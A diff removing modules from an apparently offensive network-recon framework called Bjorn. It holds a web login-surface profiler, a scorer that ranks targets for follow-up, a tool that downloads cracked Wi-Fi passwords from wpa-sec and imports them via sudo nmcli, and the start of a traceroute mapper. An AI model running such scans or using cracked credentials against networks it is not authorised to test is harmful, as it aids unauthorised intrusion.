elif l == "phpsessid":
|
||||
framework_hints.append("php")
|
||||
elif "wordpress" in l:
|
||||
framework_hints.append("wordpress")
|
||||
|
||||
server = h.get("server", "")
|
||||
powered = h.get("x-powered-by", "")
|
||||
|
||||
return {
|
||||
"auth_type": auth_type,
|
||||
"looks_like_login": bool(looks_like_login),
|
||||
"has_csrf": bool(has_csrf),
|
||||
"rate_limited_hint": bool(rate_limited),
|
||||
"server": server,
|
||||
"x_powered_by": powered,
|
||||
"cookie_names": cookie_names[:12],
|
||||
"framework_hints": sorted(set(framework_hints))[:6],
|
||||
}
|
||||
|
||||
|
||||
class WebLoginProfiler:
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
self._ssl_ctx = ssl._create_unverified_context()
|
||||
|
||||
def _db_upsert(self, *, mac: str, ip: str, hostname: str, port: int, path: str,
|
||||
status: int, size: int, response_ms: int, content_type: str,
|
||||
method: str, user_agent: str, headers_json: str):
|
||||
self.shared_data.db.execute(
|
||||
"""
|
||||
INSERT INTO webenum (
|
||||
mac_address, ip, hostname, port, directory, status,
|
||||
size, response_time, content_type, tool, method,
|
||||
user_agent, headers, is_active
|
||||
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, 'login_profiler', ?, ?, ?, 1)
|
||||
ON CONFLICT(mac_address, ip, port, directory) DO UPDATE SET
|
||||
status = excluded.status,
|
||||
size = excluded.size,
|
||||
response_time = excluded.response_time,
|
||||
content_type = excluded.content_type,
|
||||
hostname = COALESCE(excluded.hostname, webenum.hostname),
|
||||
user_agent = COALESCE(excluded.user_agent, webenum.user_agent),
|
||||
headers = COALESCE(excluded.headers, webenum.headers),
|
||||
last_seen = CURRENT_TIMESTAMP,
|
||||
is_active = 1
|
||||
""",
|
||||
(
|
||||
mac or "",
|
||||
ip or "",
|
||||
hostname or "",
|
||||
int(port),
|
||||
path or "/",
|
||||
int(status),
|
||||
int(size or 0),
|
||||
int(response_ms or 0),
|
||||
content_type or "",
|
||||
method or "GET",
|
||||
user_agent or "",
|
||||
headers_json or "",
|
||||
),
|
||||
)
|
||||
|
||||
def _fetch(self, *, ip: str, port: int, scheme: str, path: str, timeout_s: float,
|
||||
user_agent: str) -> Tuple[int, Dict[str, str], str, int, int]:
|
||||
started = time.time()
|
||||
body_snip = ""
|
||||
headers_out: Dict[str, str] = {}
|
||||
status = 0
|
||||
size = 0
|
||||
|
||||
conn = None
|
||||
try:
|
||||
if scheme == "https":
|
||||
conn = HTTPSConnection(ip, port=port, timeout=timeout_s, context=self._ssl_ctx)
|
||||
else:
|
||||
conn = HTTPConnection(ip, port=port, timeout=timeout_s)
|
||||
|
||||
conn.request("GET", path, headers={"User-Agent": user_agent, "Accept": "*/*"})
|
||||
resp = conn.getresponse()
|
||||
status = int(resp.status or 0)
|
||||
for k, v in resp.getheaders():
|
||||
if k and v:
|
||||
headers_out[str(k)] = str(v)
|
||||
|
||||
# Read only a small chunk (Pi-friendly) for fingerprinting.
|
||||
chunk = resp.read(65536) # 64KB
|
||||
size = len(chunk or b"")
|
||||
try:
|
||||
body_snip = (chunk or b"").decode("utf-8", errors="ignore")
|
||||
except Exception:
|
||||
body_snip = ""
|
||||
except (ConnectionError, TimeoutError, RemoteDisconnected):
|
||||
status = 0
|
||||
except Exception:
|
||||
status = 0
|
||||
finally:
|
||||
try:
|
||||
if conn:
|
||||
conn.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
elapsed_ms = int((time.time() - started) * 1000)
|
||||
return status, headers_out, body_snip, size, elapsed_ms
|
||||
|
||||
def execute(self, ip, port, row, status_key) -> str:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
try:
|
||||
port_i = int(port) if str(port).strip() else int(getattr(self, "port", 80) or 80)
|
||||
except Exception:
|
||||
port_i = 80
|
||||
|
||||
scheme = _scheme_for_port(port_i)
|
||||
hostname = _first_hostname_from_row(row)
|
||||
mac = (row.get("MAC Address") or row.get("mac_address") or row.get("mac") or "").strip()
|
||||
|
||||
timeout_s = float(getattr(self.shared_data, "web_probe_timeout_s", 4.0))
|
||||
user_agent = str(getattr(self.shared_data, "web_probe_user_agent", "BjornWebProfiler/1.0"))
|
||||
paths = getattr(self.shared_data, "web_login_profiler_paths", None) or DEFAULT_PATHS
|
||||
if not isinstance(paths, list):
|
||||
paths = DEFAULT_PATHS
|
||||
|
||||
self.shared_data.bjorn_orch_status = "WebLoginProfiler"
|
||||
self.shared_data.bjorn_status_text2 = f"{ip}:{port_i}"
|
||||
self.shared_data.comment_params = {"ip": ip, "port": str(port_i)}
|
||||
|
||||
progress = ProgressTracker(self.shared_data, len(paths))
|
||||
found_login = 0
|
||||
|
||||
try:
|
||||
for p in paths:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
path = str(p or "/").strip()
|
||||
if not path.startswith("/"):
|
||||
path = "/" + path
|
||||
|
||||
status, headers, body, size, elapsed_ms = self._fetch(
|
||||
ip=ip,
|
||||
port=port_i,
|
||||
scheme=scheme,
|
||||
path=path,
|
||||
timeout_s=timeout_s,
|
||||
user_agent=user_agent,
|
||||
)
|
||||
|
||||
ctype = headers.get("Content-Type") or headers.get("content-type") or ""
|
||||
signals = _detect_signals(status, headers, body)
|
||||
if signals.get("looks_like_login") or signals.get("auth_type"):
|
||||
found_login += 1
|
||||
|
||||
headers_payload = {
|
||||
"signals": signals,
|
||||
"sample": {
|
||||
"status": status,
|
||||
"content_type": ctype,
|
||||
},
|
||||
}
|
||||
|
||||
try:
|
||||
headers_json = json.dumps(headers_payload, ensure_ascii=True)
|
||||
except Exception:
|
||||
headers_json = ""
|
||||
|
||||
try:
|
||||
self._db_upsert(
|
||||
mac=mac,
|
||||
ip=ip,
|
||||
hostname=hostname,
|
||||
port=port_i,
|
||||
path=path,
|
||||
status=status or 0,
|
||||
size=size,
|
||||
response_ms=elapsed_ms,
|
||||
content_type=ctype,
|
||||
method="GET",
|
||||
user_agent=user_agent,
|
||||
headers_json=headers_json,
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error(f"DB write failed for {ip}:{port_i}{path}: {e}")
|
||||
|
||||
self.shared_data.comment_params = {
|
||||
"ip": ip,
|
||||
"port": str(port_i),
|
||||
"path": path,
|
||||
"login": str(int(bool(signals.get("looks_like_login") or signals.get("auth_type")))),
|
||||
}
|
||||
|
||||
progress.advance(1)
|
||||
|
||||
progress.set_complete()
|
||||
# "success" means: profiler ran; not that a login exists.
|
||||
logger.info(f"WebLoginProfiler done for {ip}:{port_i} (login_surfaces={found_login})")
|
||||
return "success"
|
||||
except Exception as e:
|
||||
logger.error(f"WebLoginProfiler failed for {ip}:{port_i}: {e}")
|
||||
return "failed"
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
self.shared_data.comment_params = {}
|
||||
self.shared_data.bjorn_status_text2 = ""
|
||||
|
||||
@@ -1,239 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""web_surface_mapper.py - Aggregate login_profiler findings into a per-target risk score."""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import time
|
||||
from typing import Any, Dict, List, Optional, Tuple
|
||||
|
||||
from logger import Logger
|
||||
from actions.bruteforce_common import ProgressTracker
|
||||
|
||||
logger = Logger(name="web_surface_mapper.py", level=logging.DEBUG)
|
||||
|
||||
# -------------------- Action metadata (AST-friendly) --------------------
|
||||
b_class = "WebSurfaceMapper"
|
||||
b_module = "web_surface_mapper"
|
||||
b_status = "WebSurfaceMapper"
|
||||
b_port = 80
|
||||
b_parent = None
|
||||
b_service = '["http","https"]'
|
||||
b_trigger = "on_success:WebLoginProfiler"
|
||||
b_priority = 45
|
||||
b_action = "normal"
|
||||
b_cooldown = 600
|
||||
b_rate_limit = "48/86400"
|
||||
b_enabled = 1
|
||||
b_timeout = 300
|
||||
b_max_retries = 2
|
||||
b_stealth_level = 6
|
||||
b_risk_level = "low"
|
||||
b_tags = ["web", "login", "risk", "mapper"]
|
||||
b_category = "recon"
|
||||
b_name = "Web Surface Mapper"
|
||||
b_description = "Aggregates login profiler findings into a per-target risk score."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.0"
|
||||
b_icon = "WebSurfaceMapper.png"
|
||||
|
||||
|
||||
def _scheme_for_port(port: int) -> str:
|
||||
https_ports = {443, 8443, 9443, 10443, 9444, 5000, 5001, 7080, 9080}
|
||||
return "https" if int(port) in https_ports else "http"
|
||||
|
||||
|
||||
def _safe_json_loads(s: str) -> dict:
|
||||
try:
|
||||
return json.loads(s) if s else {}
|
||||
except Exception:
|
||||
return {}
|
||||
|
||||
|
||||
def _score_signals(signals: dict) -> int:
|
||||
"""
|
||||
Heuristic risk score 0..100.
|
||||
This is not an "attack recommendation"; it's a prioritization for recon.
|
||||
"""
|
||||
if not isinstance(signals, dict):
|
||||
return 0
|
||||
score = 0
|
||||
|
||||
auth = str(signals.get("auth_type") or "").lower()
|
||||
if auth in {"basic", "digest"}:
|
||||
score += 45
|
||||
|
||||
if bool(signals.get("looks_like_login")):
|
||||
score += 35
|
||||
|
||||
if bool(signals.get("has_csrf")):
|
||||
score += 10
|
||||
|
||||
if bool(signals.get("rate_limited_hint")):
|
||||
# Defensive signal: reduces priority for noisy follow-ups.
|
||||
score -= 25
|
||||
|
||||
hints = signals.get("framework_hints") or []
|
||||
if isinstance(hints, list) and hints:
|
||||
score += min(10, 3 * len(hints))
|
||||
|
||||
return max(0, min(100, int(score)))
|
||||
|
||||
|
||||
class WebSurfaceMapper:
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
|
||||
def _db_upsert_summary(
|
||||
self,
|
||||
*,
|
||||
mac: str,
|
||||
ip: str,
|
||||
hostname: str,
|
||||
port: int,
|
||||
scheme: str,
|
||||
summary: dict,
|
||||
):
|
||||
directory = "/__surface_summary__"
|
||||
payload = json.dumps(summary, ensure_ascii=True)
|
||||
self.shared_data.db.execute(
|
||||
"""
|
||||
INSERT INTO webenum (
|
||||
mac_address, ip, hostname, port, directory, status,
|
||||
size, response_time, content_type, tool, method,
|
||||
user_agent, headers, is_active
|
||||
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, 'surface_mapper', 'SUMMARY', '', ?, 1)
|
||||
ON CONFLICT(mac_address, ip, port, directory) DO UPDATE SET
|
||||
status = excluded.status,
|
||||
size = excluded.size,
|
||||
response_time = excluded.response_time,
|
||||
content_type = excluded.content_type,
|
||||
hostname = COALESCE(excluded.hostname, webenum.hostname),
|
||||
headers = COALESCE(excluded.headers, webenum.headers),
|
||||
last_seen = CURRENT_TIMESTAMP,
|
||||
is_active = 1
|
||||
""",
|
||||
(
|
||||
mac or "",
|
||||
ip or "",
|
||||
hostname or "",
|
||||
int(port),
|
||||
directory,
|
||||
200,
|
||||
len(payload),
|
||||
0,
|
||||
"application/json",
|
||||
payload,
|
||||
),
|
||||
)
|
||||
|
||||
def execute(self, ip, port, row, status_key) -> str:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
mac = (row.get("MAC Address") or row.get("mac_address") or row.get("mac") or "").strip()
|
||||
hostname = (row.get("Hostname") or row.get("hostname") or "").strip()
|
||||
if ";" in hostname:
|
||||
hostname = hostname.split(";", 1)[0].strip()
|
||||
|
||||
try:
|
||||
port_i = int(port) if str(port).strip() else 80
|
||||
except Exception:
|
||||
port_i = 80
|
||||
|
||||
scheme = _scheme_for_port(port_i)
|
||||
|
||||
self.shared_data.bjorn_orch_status = "WebSurfaceMapper"
|
||||
self.shared_data.bjorn_status_text2 = f"{ip}:{port_i}"
|
||||
self.shared_data.comment_params = {"ip": ip, "port": str(port_i), "phase": "score"}
|
||||
|
||||
# Load recent profiler rows for this target.
|
||||
rows: List[Dict[str, Any]] = []
|
||||
try:
|
||||
rows = self.shared_data.db.query(
|
||||
"""
|
||||
SELECT directory, status, content_type, headers, response_time, last_seen
|
||||
FROM webenum
|
||||
WHERE mac_address=? AND ip=? AND port=? AND is_active=1 AND tool='login_profiler'
|
||||
ORDER BY last_seen DESC
|
||||
""",
|
||||
(mac or "", ip, int(port_i)),
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error(f"DB query failed (webenum login_profiler): {e}")
|
||||
rows = []
|
||||
|
||||
progress = ProgressTracker(self.shared_data, max(1, len(rows)))
|
||||
scored: List[Tuple[int, str, int, str, dict]] = []
|
||||
|
||||
try:
|
||||
for r in rows:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
directory = str(r.get("directory") or "/")
|
||||
status = int(r.get("status") or 0)
|
||||
ctype = str(r.get("content_type") or "")
|
||||
h = _safe_json_loads(str(r.get("headers") or ""))
|
||||
signals = h.get("signals") if isinstance(h, dict) else {}
|
||||
score = _score_signals(signals if isinstance(signals, dict) else {})
|
||||
scored.append((score, directory, status, ctype, signals if isinstance(signals, dict) else {}))
|
||||
|
||||
self.shared_data.comment_params = {
|
||||
"ip": ip,
|
||||
"port": str(port_i),
|
||||
"path": directory,
|
||||
"score": str(score),
|
||||
}
|
||||
progress.advance(1)
|
||||
|
||||
scored.sort(key=lambda t: (t[0], t[2]), reverse=True)
|
||||
top = scored[:5]
|
||||
avg = int(sum(s for s, *_ in scored) / max(1, len(scored))) if scored else 0
|
||||
top_path = top[0][1] if top else ""
|
||||
top_score = top[0][0] if top else 0
|
||||
|
||||
summary = {
|
||||
"ip": ip,
|
||||
"port": int(port_i),
|
||||
"scheme": scheme,
|
||||
"count_profiled": int(len(rows)),
|
||||
"avg_score": int(avg),
|
||||
"top": [
|
||||
{"score": int(s), "path": p, "status": int(st), "content_type": ct, "signals": sig}
|
||||
for (s, p, st, ct, sig) in top
|
||||
],
|
||||
"ts_epoch": int(time.time()),
|
||||
}
|
||||
|
||||
try:
|
||||
self._db_upsert_summary(
|
||||
mac=mac,
|
||||
ip=ip,
|
||||
hostname=hostname,
|
||||
port=port_i,
|
||||
scheme=scheme,
|
||||
summary=summary,
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error(f"DB upsert summary failed: {e}")
|
||||
|
||||
self.shared_data.comment_params = {
|
||||
"ip": ip,
|
||||
"port": str(port_i),
|
||||
"count": str(len(rows)),
|
||||
"top_path": top_path,
|
||||
"top_score": str(top_score),
|
||||
"avg_score": str(avg),
|
||||
}
|
||||
|
||||
progress.set_complete()
|
||||
return "success"
|
||||
except Exception as e:
|
||||
logger.error(f"WebSurfaceMapper failed for {ip}:{port_i}: {e}")
|
||||
return "failed"
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
self.shared_data.comment_params = {}
|
||||
self.shared_data.bjorn_status_text2 = ""
|
||||
|
||||
@@ -1,337 +0,0 @@
|
||||
"""wpasec_potfiles.py - Download, clean, import, or erase WiFi credentials from wpa-sec.stanev.org."""
|
||||
|
||||
import os
|
||||
import json
|
||||
import glob
|
||||
import argparse
|
||||
import requests
|
||||
import subprocess
|
||||
from datetime import datetime
|
||||
|
||||
import logging
|
||||
|
||||
# ── METADATA / UI FOR NEO LAUNCHER ────────────────────────────────────────────
|
||||
b_class = "WPAsecPotfileManager"
|
||||
b_module = "wpasec_potfiles"
|
||||
b_enabled = 1
|
||||
b_action = "normal" # normal | aggressive | stealth
|
||||
b_category = "wifi"
|
||||
b_name = "WPAsec Potfile Manager"
|
||||
b_description = (
|
||||
"Download, clean, import, or erase Wi-Fi networks from WPAsec potfiles. "
|
||||
"Options: download (default if API key is set), clean, import, erase."
|
||||
)
|
||||
b_author = "Infinition"
|
||||
b_version = "1.0.0"
|
||||
b_icon = f"/actions_icons/{b_class}.png"
|
||||
b_port = None
|
||||
b_service = "[]"
|
||||
b_trigger = None
|
||||
b_priority = 30
|
||||
b_timeout = 300
|
||||
b_cooldown = 3600
|
||||
b_stealth_level = 10
|
||||
b_risk_level = "low"
|
||||
b_status = "wpasec_potfiles"
|
||||
b_parent = None
|
||||
b_rate_limit = None
|
||||
b_max_retries = 1
|
||||
b_tags = ["wifi", "wpa", "potfile", "credentials"]
|
||||
b_docs_url = "https://wpa-sec.stanev.org/?api"
|
||||
|
||||
b_args = {
|
||||
"key": {
|
||||
"type": "text",
|
||||
"label": "API key (WPAsec)",
|
||||
"placeholder": "wpa-sec api key",
|
||||
"secret": True,
|
||||
"help": "API key used to download the potfile. If empty, the saved key is reused."
|
||||
},
|
||||
"directory": {
|
||||
"type": "text",
|
||||
"label": "Potfiles directory",
|
||||
"default": "/home/bjorn/Bjorn/data/input/potfiles",
|
||||
"placeholder": "/path/to/potfiles",
|
||||
"help": "Directory containing/receiving .pot / .potfile files."
|
||||
},
|
||||
"clean": {
|
||||
"type": "checkbox",
|
||||
"label": "Clean potfiles directory",
|
||||
"default": False,
|
||||
"help": "Delete all files in the potfiles directory."
|
||||
},
|
||||
"import_potfiles": {
|
||||
"type": "checkbox",
|
||||
"label": "Import potfiles into NetworkManager",
|
||||
"default": False,
|
||||
"help": "Add Wi-Fi networks found in potfiles via nmcli (avoiding duplicates)."
|
||||
},
|
||||
"erase": {
|
||||
"type": "checkbox",
|
||||
"label": "Erase Wi-Fi connections from potfiles",
|
||||
"default": False,
|
||||
"help": "Delete via nmcli the Wi-Fi networks listed in potfiles (avoiding duplicates)."
|
||||
}
|
||||
}
|
||||
|
||||
b_examples = [
|
||||
{"directory": "/home/bjorn/Bjorn/data/input/potfiles"},
|
||||
{"key": "YOUR_API_KEY_HERE", "directory": "/home/bjorn/Bjorn/data/input/potfiles"},
|
||||
{"directory": "/home/bjorn/Bjorn/data/input/potfiles", "clean": True},
|
||||
{"directory": "/home/bjorn/Bjorn/data/input/potfiles", "import_potfiles": True},
|
||||
{"directory": "/home/bjorn/Bjorn/data/input/potfiles", "erase": True},
|
||||
{"directory": "/home/bjorn/Bjorn/data/input/potfiles", "clean": True, "import_potfiles": True},
|
||||
]
|
||||
|
||||
|
||||
def compute_dynamic_b_args(base: dict) -> dict:
|
||||
"""
|
||||
Enrich dynamic UI arguments:
|
||||
- Pre-fill the API key if previously saved.
|
||||
- Show info about the number of potfiles in the chosen directory.
|
||||
"""
|
||||
d = dict(base or {})
|
||||
try:
|
||||
settings_path = os.path.join(
|
||||
os.path.expanduser("~"), ".settings_bjorn", "wpasec_settings.json"
|
||||
)
|
||||
if os.path.exists(settings_path):
|
||||
with open(settings_path, "r", encoding="utf-8") as f:
|
||||
saved = json.load(f)
|
||||
saved_key = (saved or {}).get("api_key")
|
||||
if saved_key and not d.get("key", {}).get("default"):
|
||||
d.setdefault("key", {}).setdefault("default", saved_key)
|
||||
d["key"]["help"] = (d["key"].get("help") or "") + " (auto-detected)"
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
try:
|
||||
directory = d.get("directory", {}).get("default") or "/home/bjorn/Bjorn/data/input/potfiles"
|
||||
exists = os.path.isdir(directory)
|
||||
count = 0
|
||||
if exists:
|
||||
count = len(glob.glob(os.path.join(directory, "*.pot"))) + \
|
||||
len(glob.glob(os.path.join(directory, "*.potfile")))
|
||||
extra = f" | Found: {count} potfile(s)" if exists else " | (directory does not exist yet)"
|
||||
d["directory"]["help"] = (d["directory"].get("help") or "") + extra
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return d
|
||||
|
||||
|
||||
# ── CLASS IMPLEMENTATION ─────────────────────────────────────────────────────
|
||||
class WPAsecPotfileManager:
|
||||
DEFAULT_SAVE_DIR = os.path.join(os.path.expanduser("~"), "Bjorn", "data", "input", "potfiles")
|
||||
DEFAULT_SETTINGS_DIR = os.path.join(os.path.expanduser("~"), ".settings_bjorn")
|
||||
SETTINGS_FILE = os.path.join(DEFAULT_SETTINGS_DIR, "wpasec_settings.json")
|
||||
DOWNLOAD_URL = "https://wpa-sec.stanev.org/?api&dl=1"
|
||||
|
||||
def __init__(self, shared_data):
|
||||
"""
|
||||
Orchestrator always passes shared_data.
|
||||
Even if unused here, we store it for compatibility.
|
||||
"""
|
||||
self.shared_data = shared_data
|
||||
|
||||
# --- Orchestrator entry point ---
|
||||
def execute(self, ip=None, port=None, row=None, status_key=None):
|
||||
"""
|
||||
Entry point for orchestrator.
|
||||
By default: download latest potfile if API key is available.
|
||||
"""
|
||||
self.shared_data.bjorn_orch_status = "WPAsecPotfileManager"
|
||||
# EPD live status
|
||||
self.shared_data.comment_params = {"action": "download", "status": "starting"}
|
||||
|
||||
try:
|
||||
api_key = self.load_api_key()
|
||||
if api_key:
|
||||
logging.info("WPAsecPotfileManager: downloading latest potfile (orchestrator trigger).")
|
||||
self.download_potfile(self.DEFAULT_SAVE_DIR, api_key)
|
||||
# EPD live status update
|
||||
self.shared_data.comment_params = {"action": "download", "status": "complete"}
|
||||
return "success"
|
||||
else:
|
||||
logging.warning("WPAsecPotfileManager: no API key found, nothing done.")
|
||||
return "failed"
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
self.shared_data.comment_params = {}
|
||||
|
||||
# --- API Key Handling ---
|
||||
def save_api_key(self, api_key: str):
|
||||
"""Save the API key locally."""
|
||||
try:
|
||||
os.makedirs(self.DEFAULT_SETTINGS_DIR, exist_ok=True)
|
||||
settings = {"api_key": api_key}
|
||||
with open(self.SETTINGS_FILE, "w") as file:
|
||||
json.dump(settings, file)
|
||||
logging.info(f"API key saved to {self.SETTINGS_FILE}")
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to save API key: {e}")
|
||||
|
||||
def load_api_key(self):
|
||||
"""Load the API key from local storage."""
|
||||
if os.path.exists(self.SETTINGS_FILE):
|
||||
try:
|
||||
with open(self.SETTINGS_FILE, "r") as file:
|
||||
settings = json.load(file)
|
||||
return settings.get("api_key")
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to load API key: {e}")
|
||||
return None
|
||||
|
||||
# --- Actions ---
|
||||
def download_potfile(self, save_dir, api_key):
|
||||
"""Download the potfile from WPAsec."""
|
||||
try:
|
||||
cookies = {"key": api_key}
|
||||
logging.info(f"Downloading potfile from: {self.DOWNLOAD_URL}")
|
||||
response = requests.get(self.DOWNLOAD_URL, cookies=cookies, stream=True)
|
||||
response.raise_for_status()
|
||||
|
||||
ts = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||
|
||||
filename = os.path.join(save_dir, f"potfile_{ts}.pot")
|
||||
|
||||
os.makedirs(save_dir, exist_ok=True)
|
||||
with open(filename, "wb") as file:
|
||||
for chunk in response.iter_content(chunk_size=8192):
|
||||
file.write(chunk)
|
||||
|
||||
logging.info(f"Potfile saved to: {filename}")
|
||||
except requests.exceptions.RequestException as e:
|
||||
logging.error(f"Failed to download potfile: {e}")
|
||||
except Exception as e:
|
||||
logging.error(f"Unexpected error: {e}")
|
||||
|
||||
def clean_directory(self, directory):
|
||||
"""Delete all potfiles in the given directory."""
|
||||
try:
|
||||
if os.path.exists(directory):
|
||||
logging.info(f"Cleaning directory: {directory}")
|
||||
for file in os.listdir(directory):
|
||||
file_path = os.path.join(directory, file)
|
||||
if os.path.isfile(file_path):
|
||||
os.remove(file_path)
|
||||
logging.info(f"Deleted: {file_path}")
|
||||
else:
|
||||
logging.info(f"Directory does not exist: {directory}")
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to clean directory {directory}: {e}")
|
||||
|
||||
def import_potfiles(self, directory):
|
||||
"""Import potfiles into NetworkManager using nmcli."""
|
||||
try:
|
||||
potfile_paths = glob.glob(os.path.join(directory, "*.pot")) + glob.glob(os.path.join(directory, "*.potfile"))
|
||||
processed_ssids = set()
|
||||
networks_added = []
|
||||
DEFAULT_PRIORITY = 5
|
||||
|
||||
for path in potfile_paths:
|
||||
with open(path, "r") as potfile:
|
||||
for line in potfile:
|
||||
line = line.strip()
|
||||
if ":" not in line:
|
||||
continue
|
||||
ssid, password = self._parse_potfile_line(line)
|
||||
if not ssid or not password or ssid in processed_ssids:
|
||||
continue
|
||||
|
||||
try:
|
||||
subprocess.run(
|
||||
["sudo", "nmcli", "connection", "add", "type", "wifi",
|
||||
"con-name", ssid, "ifname", "*", "ssid", ssid,
|
||||
"wifi-sec.key-mgmt", "wpa-psk", "wifi-sec.psk", password,
|
||||
"connection.autoconnect", "yes",
|
||||
"connection.autoconnect-priority", str(DEFAULT_PRIORITY)],
|
||||
check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True
|
||||
)
|
||||
processed_ssids.add(ssid)
|
||||
networks_added.append(ssid)
|
||||
logging.info(f"Imported network {ssid}")
|
||||
except subprocess.CalledProcessError as e:
|
||||
logging.error(f"Failed to import {ssid}: {e.stderr.strip()}")
|
||||
|
||||
logging.info(f"Total imported: {networks_added}")
|
||||
except Exception as e:
|
||||
logging.error(f"Unexpected error while importing: {e}")
|
||||
|
||||
def erase_networks(self, directory):
|
||||
"""Erase Wi-Fi connections listed in potfiles using nmcli."""
|
||||
try:
|
||||
potfile_paths = glob.glob(os.path.join(directory, "*.pot")) + glob.glob(os.path.join(directory, "*.potfile"))
|
||||
processed_ssids = set()
|
||||
networks_removed = []
|
||||
|
||||
for path in potfile_paths:
|
||||
with open(path, "r") as potfile:
|
||||
for line in potfile:
|
||||
line = line.strip()
|
||||
if ":" not in line:
|
||||
continue
|
||||
ssid, _ = self._parse_potfile_line(line)
|
||||
if not ssid or ssid in processed_ssids:
|
||||
continue
|
||||
|
||||
try:
|
||||
subprocess.run(
|
||||
["sudo", "nmcli", "connection", "delete", "id", ssid],
|
||||
check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True
|
||||
)
|
||||
processed_ssids.add(ssid)
|
||||
networks_removed.append(ssid)
|
||||
logging.info(f"Deleted network {ssid}")
|
||||
except subprocess.CalledProcessError as e:
|
||||
logging.warning(f"Failed to delete {ssid}: {e.stderr.strip()}")
|
||||
|
||||
logging.info(f"Total deleted: {networks_removed}")
|
||||
except Exception as e:
|
||||
logging.error(f"Unexpected error while erasing: {e}")
|
||||
|
||||
# --- Helpers ---
|
||||
def _parse_potfile_line(self, line: str):
|
||||
"""Parse a potfile line into (ssid, password)."""
|
||||
ssid, password = None, None
|
||||
if line.startswith("$WPAPSK$") and "#" in line:
|
||||
try:
|
||||
ssid_hash, password = line.split(":", 1)
|
||||
ssid = ssid_hash.split("#")[0].replace("$WPAPSK$", "")
|
||||
except ValueError:
|
||||
return None, None
|
||||
elif len(line.split(":")) == 4:
|
||||
try:
|
||||
_, _, ssid, password = line.split(":")
|
||||
except ValueError:
|
||||
return None, None
|
||||
return ssid, password
|
||||
|
||||
# --- CLI ---
|
||||
def run(self, argv=None):
|
||||
parser = argparse.ArgumentParser(description="Manage WPAsec potfiles (download, clean, import, erase).")
|
||||
parser.add_argument("-k", "--key", help="API key for WPAsec (saved locally after first use).")
|
||||
parser.add_argument("-d", "--directory", default=self.DEFAULT_SAVE_DIR, help="Directory for potfiles.")
|
||||
parser.add_argument("-c", "--clean", action="store_true", help="Clean the potfiles directory.")
|
||||
parser.add_argument("-a", "--import-potfiles", action="store_true", help="Import potfiles into NetworkManager.")
|
||||
parser.add_argument("-e", "--erase", action="store_true", help="Erase Wi-Fi connections from potfiles.")
|
||||
args = parser.parse_args(argv)
|
||||
|
||||
api_key = args.key
|
||||
if api_key:
|
||||
self.save_api_key(api_key)
|
||||
else:
|
||||
api_key = self.load_api_key()
|
||||
|
||||
if args.clean:
|
||||
self.clean_directory(args.directory)
|
||||
if args.import_potfiles:
|
||||
self.import_potfiles(args.directory)
|
||||
if args.erase:
|
||||
self.erase_networks(args.directory)
|
||||
if api_key and not args.clean and not args.import_potfiles and not args.erase:
|
||||
self.download_potfile(args.directory, api_key)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
WPAsecPotfileManager(shared_data=None).run()
|
||||
@@ -1,836 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""yggdrasil_mapper.py - Traceroute-based network topology mapping to JSON.
|
||||
|
||||
Uses scapy ICMP (fallback: subprocess) and merges results across runs.
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import socket
|
||||
import time
|
||||
from datetime import datetime
|
||||
|
||||
from typing import Any, Dict, List, Optional, Tuple
|
||||
|
||||
from logger import Logger
|
||||
from actions.bruteforce_common import ProgressTracker
|
||||
|
||||
logger = Logger(name="yggdrasil_mapper.py", level=logging.DEBUG)
|
||||
|
||||
# Silence scapy logging before import
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
|
||||
logging.getLogger("scapy.interactive").setLevel(logging.ERROR)
|
||||
logging.getLogger("scapy.loading").setLevel(logging.ERROR)
|
||||
|
||||
_SCAPY_AVAILABLE = False
|
||||
try:
|
||||
from scapy.all import IP, ICMP, sr1, conf as scapy_conf
|
||||
scapy_conf.verb = 0
|
||||
_SCAPY_AVAILABLE = True
|
||||
except ImportError:
|
||||
logger.warning("scapy not available; falling back to subprocess traceroute")
|
||||
except Exception as exc:
|
||||
logger.warning(f"scapy import error ({exc}); falling back to subprocess traceroute")
|
||||
|
||||
# -------------------- Action metadata (AST-friendly) --------------------
|
||||
b_class = "YggdrasilMapper"
|
||||
b_module = "yggdrasil_mapper"
|
||||
b_status = "yggdrasil_mapper"
|
||||
b_port = None
|
||||
b_service = '[]'
|
||||
b_trigger = "on_host_alive"
|
||||
b_parent = None
|
||||
b_action = "normal"
|
||||
b_requires = '{"action":"NetworkScanner","status":"success","scope":"global"}'
|
||||
b_priority = 10
|
||||
b_cooldown = 3600
|
||||
b_rate_limit = "3/86400"
|
||||
b_timeout = 300
|
||||
b_max_retries = 2
|
||||
b_stealth_level = 6
|
||||
b_risk_level = "low"
|
||||
b_enabled = 1
|
||||
